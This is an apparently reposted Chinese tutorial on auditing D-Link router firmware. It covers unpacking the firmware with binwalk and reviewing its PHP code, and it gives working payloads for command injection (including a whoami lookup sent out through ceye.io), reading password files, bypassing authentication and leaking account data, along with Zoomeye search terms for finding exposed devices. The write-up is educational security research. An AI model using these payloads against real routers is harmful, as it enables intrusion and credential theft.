参考

http://www.freebuf.com/articles/terminal/153176.html

https://paper.seebug.org/429/

http://www.s3cur1ty.de/m1adv2013-017

http://seclists.org/bugtraq/2013/Dec/11

http://www.devttys0.com/wp-content/uploads/2010/12/dlink_php_vulnerability.pdf

https://packetstormsecurity.com/files/120591/dlinkdir645-bypass.txt

源码

D-Link路由器固件下载地址:

ftp://ftp2.dlink.com/PRODUCTS/

binwalk解压固件

kali-linux自带binwalk,编译过程

  1. $ sudo apt-get update
  2. $ sudo apt-get install build-essential autoconf git
  3. # https://github.com/devttys0/binwalk/blob/master/INSTALL.md
  4. $ git clone https://github.com/devttys0/binwalk.git
  5. $ cd binwalk
  6. # python2.7安装
  7. $ sudo python setup.py install
  8. # python2.7手动安装依赖库
  9. $ sudo apt-get install python-lzma
  10. $ sudo apt-get install python-crypto
  11. $ sudo apt-get install libqt4-opengl python-opengl python-qt4 python-qt4-gl python-numpy python-scipy python-pip
  12. $ sudo pip install pyqtgraph
  13. $ sudo apt-get install python-pip
  14. $ sudo pip install capstone
  15. # Install standard extraction utilities(必选)
  16. $ sudo apt-get install mtd-utils gzip bzip2 tar arj lhasa p7zip p7zip-full cabextract cramfsprogs cramfsswap squashfs-tools
  17. # Install sasquatch to extract non-standard SquashFS images(必选)
  18. $ sudo apt-get install zlib1g-dev liblzma-dev liblzo2-dev
  19. $ git clone https://github.com/devttys0/sasquatch
  20. $ (cd sasquatch && ./build.sh)
  21. # Install jefferson to extract JFFS2 file systems(可选)
  22. $ sudo pip install cstruct
  23. $ git clone https://github.com/sviehb/jefferson
  24. $ (cd jefferson && sudo python setup.py install)
  25. # Install ubi_reader to extract UBIFS file systems(可选)
  26. $ sudo apt-get install liblzo2-dev python-lzo
  27. $ git clone https://github.com/jrspruitt/ubi_reader
  28. $ (cd ubi_reader && sudo python setup.py install)
  29. # Install yaffshiv to extract YAFFS file systems(可选)
  30. $ git clone https://github.com/devttys0/yaffshiv
  31. $ (cd yaffshiv && sudo python setup.py install)
  32. # Install unstuff (closed source) to extract StuffIt archive files(可选)
  33. $ wget -O - http://my.smithmicro.com/downloads/files/stuffit520.611linux-i386.tar.gz | tar -zxv
  34. $ sudo cp bin/unstuff /usr/local/bin/

按照上面的命令就可以完整的安装binwalk了,这样就可以解开市面上的大部分固件包。 然后用binwalk -Me 固件包名称解固件,然后我们会得到以下划线开头的名称的文件夹,文件夹里squashfs-root文件夹,就是路由器的完整固件包。

漏洞挖掘

此文章针对历史路由器的web漏洞进行分析,路由器的web文件夹 一般就在suashfs-root/www或者 suashfs-root/htdocs文件夹里。路由器固件所使用的语言一般为 asp,php,cgi,lua 等语言。这里主要进行php的代码审计来挖掘漏洞。

D-Link DIR-645 & DIR-815 命令执行漏洞

Zoomeye dork: DIR-815 or DIR-645

这里以 D-Link DIR-645固件为例,解开固件进入 suashfs-root/htdocs 文件夹。

这个漏洞出现在diagnostic.php文件。直接看代码

  1. HTTP/1.1 200 OK
  2. Content-Type: text/xml
  3. <?
  4. if ($_POST["act"] == "ping")
  5. {
  6. set("/runtime/diagnostic/ping", $_POST["dst"]);
  7. $result = "OK";
  8. }
  9. else if ($_POST["act"] == "pingreport")
  10. {
  11. $result = get("x", "/runtime/diagnostic/ping");
  12. }
  13. echo '<?xml version="1.0"?>\n';
  14. ?><diagnostic>
  15. <report><?=$result?></report>
  16. </diagnostic>

分析代码可以看到,这里没有进行权限认证,所以可以直接绕过登录。继续往下看,set("/runtime/diagnostic/ping", $_POST["dst"]); 这段代码就是造成漏洞的关键代码。参数dst 没有任何过滤直接进入到了 ping的命令执行里,导致任意命令执行漏洞。继续往下看 $result = "OK"; 无论是否执行成功,这里都会显示OK。所以这是一个盲注的命令执行。以此构造payload。

  1. url = 'localhost/diagnostic.php'
  2. data = "act=ping&dst=%26 ping `whoami`.ceye.io%26"

因为是盲注的命令执行,所以这里需要借助一个盲打平台(如:ceye),来验证漏洞是否存在。

补充

这里用act=pingreport可能就有回显了,需要有设备环境调试一下。

D-Link DIR-300 & DIR-320 & DIR-600 & DIR-615 任意文件读取(信息泄露)漏洞

Zoomeye dork:DIR-300 or DIR-600

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹。

漏洞出现在/model/__show_info.php文件。

  1. <?
  2. if($REQUIRE_FILE == "var/etc/httpasswd" || $REQUIRE_FILE == "var/etc/hnapasswd")
  3. {
  4. echo "<title>404 Not Found</title>\n";
  5. echo "<h1>404 Not Found</h1>\n";
  6. }
  7. else
  8. {
  9. if($REQUIRE_FILE!="")
  10. {
  11. require($LOCALE_PATH."/".$REQUIRE_FILE);
  12. }
  13. else
  14. {
  15. echo $m_context;
  16. echo $m_context2;//jana added
  17. if($m_context_next!="")
  18. {
  19. echo $m_context_next;
  20. }
  21. echo "<br><br><br>\n";
  22. if($USE_BUTTON=="1")
  23. {echo "<input type=button name='bt' value='".$m_button_dsc."' onclick='click_bt();'>\n"; }
  24. }
  25. }
  26. ?>

这里看到已经禁止了$REQUIRE_FILE的参数为var/etc/httpasswd和var/etc/hnapasswd。

这么一看无法获取账号密码。但是我们可以从根路径开始配置httpasswd的路径,就可以绕过这个过滤了。

payload

  1. localhost/model/__show_info.php?REQUIRE_FILE=/var/etc/httpasswd

这里设置REQUIRE_FILE=/var/etc/httpasswd成功绕过上面的if判断,进行任意文件读取。

D-Link DIR-300 & DIR-320 & DIR-615 权限绕过漏洞

Zoomeye dork:DIR-300 or DIR-615

这里以 D-Link DIR-300固件为例,解开固件进入 suashfs-root/www 文件夹

默认情况下,Web界面中的所有页面都需要进行身份验证,但是某些页面(如 登录页面) 必须在认证之前访问。 为了让这些页面不进行认证,他们设置了一个PHP变量NO_NEED_AUTH:

  1. <?
  2. $MY_NAME ="login_fail";
  3. $MY_MSG_FILE=$MY_NAME.".php";
  4. $NO_NEED_AUTH="1";
  5. $NO_SESSION_TIMEOUT="1";
  6. require("/www/model/__html_head.php");
  7. ?>

此漏洞触发的原因在于 全局文件 _html_head.php。

  1. <?
  2. /* vi: set sw=4 ts=4: */
  3. if ($NO_NEED_AUTH!="1")
  4. {
  5. /* for POP up login. */
  6. // require("/www/auth/__authenticate_p.php");
  7. // if ($AUTH_RESULT=="401") {exit;}
  8. /* for WEB based login */
  9. require("/www/auth/__authenticate_s.php");
  10. if($AUTH_RESULT=="401") {require("/www/login.php"); exit;}
  11. if($AUTH_RESULT=="full") {require("/www/session_full.php"); exit;}
  12. if($AUTH_RESULT=="timeout") {require("/www/session_timeout.php"); exit;}
  13. $AUTH_GROUP=fread("/var/proc/web/session:".$sid."/user/group");
  14. }
  15. require("/www/model/__lang_msg.php");
  16. ?>

这里我们看到 $NO_NEED_AUTH!="1" 如果 \(NO_NEED_AUTH 不为 1 则进入身份认证。如果我们把\)NO_NEED_AUTH 值设置为 1 那就绕过了认证进行任意操作。

payload

  1. localhost/bsc_lan.php?NO_NEED_AUTH=1&AUTH_GROUP=0

这里AUTH_GROUP=0 表示admin权限

D-Link DIR-645 信息泄露漏洞

Zoomeye dork:DIR-645

D-Link DIR-645 getcfg.php 文件由于过滤不严格导致信息泄露漏洞。

  1. $SERVICE_COUNT = cut_count($_POST["SERVICES"], ",");
  2. TRACE_debug("GETCFG: got ".$SERVICE_COUNT." service(s): ".$_POST["SERVICES"]);
  3. $SERVICE_INDEX = 0;
  4. while ($SERVICE_INDEX < $SERVICE_COUNT)
  5. {
  6. $GETCFG_SVC = cut($_POST["SERVICES"], $SERVICE_INDEX, ",");
  7. TRACE_debug("GETCFG: serivce[".$SERVICE_INDEX."] = ".$GETCFG_SVC);
  8. if ($GETCFG_SVC!="")
  9. {
  10. $file = "/htdocs/webinc/getcfg/".$GETCFG_SVC.".xml.php";
  11. /* GETCFG_SVC will be passed to the child process. */
  12. if (isfile($file)=="1") dophp("load", $file);
  13. }
  14. $SERVICE_INDEX++;
  15. }

这里我们可以看到 $GETCFG_SVC 没有任何过滤直接获取了 POST 传递过来的SERVICES的值。如果 $GETCFG_SVC 不为空,则进行文件读取。这里我们就可以读取存储此设备信息的 DEVICE.ACCOUNT.xml.php 文件。

payload:

  1. http://localhost/getcfg.php
  2. post:SERVICES=DEVICE.ACCOUNT

总结

可以发现此篇文章所提及的漏洞都是web领域的常见漏洞,如权限绕过,信息泄露,命令执行等漏洞。由于路由器的安全没有得到足够的重视,此文涉及到的漏洞都是因为对参数过滤不严格所导致的。 路由器的漏洞影响还是很广泛的,在此提醒用户,及时更新路由器固件,以此避免各种入侵事件,以及个人信息的泄露。

D-Link系列路由器漏洞挖掘的更多相关文章

  1. D-Link系列路由器漏洞挖掘入门

    D-Link系列路由器漏洞挖掘入门 前言 前几天去上海参加了geekpwn,看着大神们一个个破解成功各种硬件,我只能在下面喊 6666,特别羡慕那些大神们.所以回来就决定好好研究一下路由器,争取跟上大 ...

  2. NETGEAR 系列路由器命令执行漏洞简析

    NETGEAR 系列路由器命令执行漏洞简析 2016年12月7日,国外网站exploit-db上爆出一个关于NETGEAR R7000路由器的命令注入漏洞.一时间,各路人马开始忙碌起来.厂商忙于声明和 ...

  3. 可编程逻辑控制器(PLC)漏洞挖掘思路与验证

    mailto wangkai0351@gmail.com 随时记录千奇百怪的漏洞挖掘思路,主要针对STEP7 v5+西门子S7-300/400系列PLC,欢迎同行前来交流. 组态信息下载完整性攻击 思 ...

  4. 浅析通过"监控"来辅助进行漏洞挖掘

    这篇文章总结了一些笔者个人在漏洞挖掘这一块的"姿势",看了下好像也没相关类似TIPs或者文章出现,就写下此文. 本文作者:Auther : vulkey@MstLab(米斯特安全攻 ...

  5. 路由器漏洞复现分析第三弹:DVRF INTRO题目分析

    这个项目的目的是来帮助人们学习X86_64之外其他架构环境,同时还帮助人们探索路由器固件里面的奥秘. 本文通过练习DVRF 中INTRO 部分的题目来学习下MIPS 结构下的各种内存攻击. DVRF: ...

  6. 一篇RPO漏洞挖掘文章翻译加深理解。

    这是我第一次尝试翻译一篇漏洞挖掘文章,翻译它也是为了加深理解它.这是一篇很有意思的漏洞挖掘文章. 前几天在看fd的博客,偶然看到了这篇文章,虽然有点老了.但是思路真的牛皮.我决定花费时间和精力研究它们 ...

  7. 关于PHP代码审计和漏洞挖掘的一点思考

    这里对PHP的代码审计和漏洞挖掘的思路做一下总结,都是个人观点,有不对的地方请多多指出. PHP的漏洞有很大一部分是来自于程序员本身的经验不足,当然和服务器的配置有关,但那属于系统安全范畴了,我不太懂 ...

  8. xss漏洞挖掘小结

    xss漏洞挖掘小结 最近,在挖掘xss的漏洞,感觉xss真的不是想象的那样简单,难怪会成为一类漏洞,我们从防的角度来讲讲xss漏洞的挖掘方法: 1.过滤 一般服务器端都是采用这种方式来防御xss攻击, ...

  9. 小白日记38:kali渗透测试之Web渗透-手动漏洞挖掘(四)-文件上传漏洞

    手动漏洞挖掘 文件上传漏洞[经典漏洞,本身为一个功能,根源:对上传文件的过滤机制不严谨] <?php echo shell_exec($_GET['cmd']);?> 直接上传webshe ...

随机推荐

  1. 基于JS的高级脚本语言 Sara

    Sara-基于JS的高级脚本语言 欢迎使用Sara,Sara是一款基于JavaScript的全新的高级脚本语言! Sara不像我们工作室上一款编程语言作品-Ginit一样,他属于更高级的语言 Sara ...

  2. Windows10-Neo4j安装问题及解决方案

    暑假都过得差不多了才终于开始搭环境了 1.下载Neo4j Neo4j官网下载翻墙的话还可以 不翻墙的话下了好几次都下不下来 不用下载desktop,下载community server就可以了 2.下 ...

  3. IDEA八条配置修改

    IDEA版本:IntelliJ IDEA 2019.2.1 x64 八条配置修改: 自动编译开关 忽略大小写开关 智能导包开关 悬浮提示开关 取消单行显示tabs的操作 项目文件编码 滚轴修改字体大小 ...

  4. DEA使用git提交代码时,点了commit之后卡死在performing code analysis部分,或者performing code analysis结束后没有进入下一步操作。

    把"Perform code analysis" 和 "Check TODO" 复选框前面的勾去掉就好了. 这个可能是因为所分析的目标文件太大了,造成一直分析不 ...

  5. visual studio2015窗体中控件的属性中文说明不见了

    右击属性窗口,然后选中好说明就ok了.

  6. geometry_msgs/PoseStamped 类型的变量的构造

    #navpoint.msg geometry_msgs/PoseStamped target_pose uint8 floor uint8 type target_pose 的类型为geometry_ ...

  7. 对list某个条件排序,并实现分页

    package com.jcloud.aioc.api.controller.Test; import com.alibaba.fastjson.JSON; import org.apache.poi ...

  8. 安装virtual box

    将安装包放在app目录下: 进入安装目录,输入sudo gdebi 安装包名 安装完后,可以在搜索框中搜索:virtual 会出现安装好的虚拟机盒子.

  9. lucene反向索引——倒排表无论是文档号及词频,还是位置信息,都是以跳跃表的结构存在的

    转自:http://www.cnblogs.com/forfuture1978/archive/2010/02/02/1661436.html 4.2. 反向信息 反向信息是索引文件的核心,也即反向索 ...

  10. java集合类型源码解析之ArrayList

    前言 作为一个老码农,不仅要谈架构.谈并发,也不能忘记最基础的语言和数据结构,因此特开辟这个系列的文章,争取每个月写1~2篇关于java基础知识的文章,以温故而知新. 如无特别之处,这个系列文章所使用 ...